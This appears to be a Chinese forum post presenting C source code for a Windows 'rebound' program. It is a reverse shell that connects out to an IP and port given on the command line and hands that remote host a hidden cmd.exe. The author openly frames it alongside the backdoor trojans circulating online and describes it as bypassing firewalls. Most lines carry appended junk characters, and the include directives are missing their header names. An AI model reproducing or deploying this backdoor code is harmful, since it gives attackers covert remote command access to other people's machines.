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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 b Q6<R4  
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/* ============================== n%1I}?$fO  
Rebound port in Windows NT i%eq!q  
By wind,2006/7 `U[s d*C"  
===============================*/ ?ta(`+"  
#include ej9|Y5D"S  
#include X9oxni#  
{#X]D~;s+  
#pragma comment(lib,"wsock32.lib") .|Zt&5osI  
A,'JmF$d  
void OutputShell(); B>"O~ gZ{#  
SOCKET sClient; 1hnw+T<<W  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xU_Dg56z'&  
3iC$ "9!p  
void main(int argc,char **argv) $X%'je  
{ x]%'^7#v)  
WSADATA stWsaData; Az"(I>VfD  
int nRet; }"CX`  
SOCKADDR_IN stSaiClient,stSaiServer; S LSbEm  
}HC6m{vH(  
if(argc != 3) 6 (@U+`  
{ 6~_ TXy/  
printf("Useage:\n\rRebound DestIP DestPort\n"); FG[YH5  
return; bQFMg41*w7  
} mz kv/  
rp^G k  
WSAStartup(MAKEWORD(2,2),&stWsaData); <>tQa5;  
\uT y\KA  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4Cl41a  
O)E8'Oe"Q  
stSaiClient.sin_family = AF_INET; ;mw$(ZKa#  
stSaiClient.sin_port = htons(0); _K5R?"H0  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); C+=8?u<  
S"wn0B$"  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .3 JLa8y  
{ xOAA1#   
printf("Bind Socket Failed!\n"); ~$\9T.tre2  
return; Fw!TTH6l0  
} 6*]g~)7`Q~  
q;<=MO/  
stSaiServer.sin_family = AF_INET; m5/d=k0l  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B"rfR_B2M#  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); f8c'`$O  
_R 6+bB$  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ySEhi_)9^  
{ Xi~%,~  
printf("Connect Error!"); 2l#c?]TA  
return; vL,:Yn@b  
} &+v!mw>  
OutputShell(); Xbp~cn  
} v3`k?jAaI  
ZFNn(n  
void OutputShell() &rmXz6 F  
{ SL O~   
char szBuff[1024]; I}S~,4  
SECURITY_ATTRIBUTES stSecurityAttributes;  9AgTrP  
OSVERSIONINFO stOsversionInfo; X>W2aDuEZ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; h/a|-V}m&  
STARTUPINFO stStartupInfo; /P>t3E2c  
char *szShell; ZgP~VB0)$  
PROCESS_INFORMATION stProcessInformation; 1'G&PX   
unsigned long lBytesRead; n8dJ6"L<"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +Kz baBK  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); c6@7>PM  
stSecurityAttributes.lpSecurityDescriptor = 0; %gb4(~E+N  
stSecurityAttributes.bInheritHandle = TRUE; (WISf}[l;  
z9B" "ws  
bkvm-$/  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^-&BGQM  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); PS=N]e7k'  
4|#@41\ B  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); WX9ABh&5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -xXz}2S4  
stStartupInfo.wShowWindow = SW_HIDE; :47bf<w|Y  
stStartupInfo.hStdInput = hReadPipe; &# ?2zbZ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v, VCbmc  
$xK2M  
GetVersionEx(&stOsversionInfo); ls9 28  
|v6kZ0B<  
switch(stOsversionInfo.dwPlatformId) 3m#/1=@o  
{ aA|<W g  
case 1: XJ3p<  
szShell = "command.com"; Ww[Xqmg  
break; P,}cH;w6Ck  
default: fUg<+|v*  
szShell = "cmd.exe"; 5>e#SW  
break; DQ86(4e*g#  
} S1Nwm?z  
pmIOV~K  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {|E'  
7^2  
send(sClient,szMsg,77,0); O_kBAC-|R(  
while(1) 26&$vgO~:  
{ oE H""Bd  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); UCz\SZ{za  
if(lBytesRead) }^@Q9<P^E  
{ iaAj|:  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); IOjp'6Yr  
send(sClient,szBuff,lBytesRead,0); 5x=aJl;G  
} @5rl;C  
else s IE2a0+  
{ ;Eer  
lBytesRead=recv(sClient,szBuff,1024,0); V8Fp1?E9S  
if(lBytesRead<=0) break; {#_CzI.0f  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); UK7pQt}9  
} \{8?HjJEM  
} .yF@Ow  
cOq'MDr  
return; 0'3f^Ajf  
}
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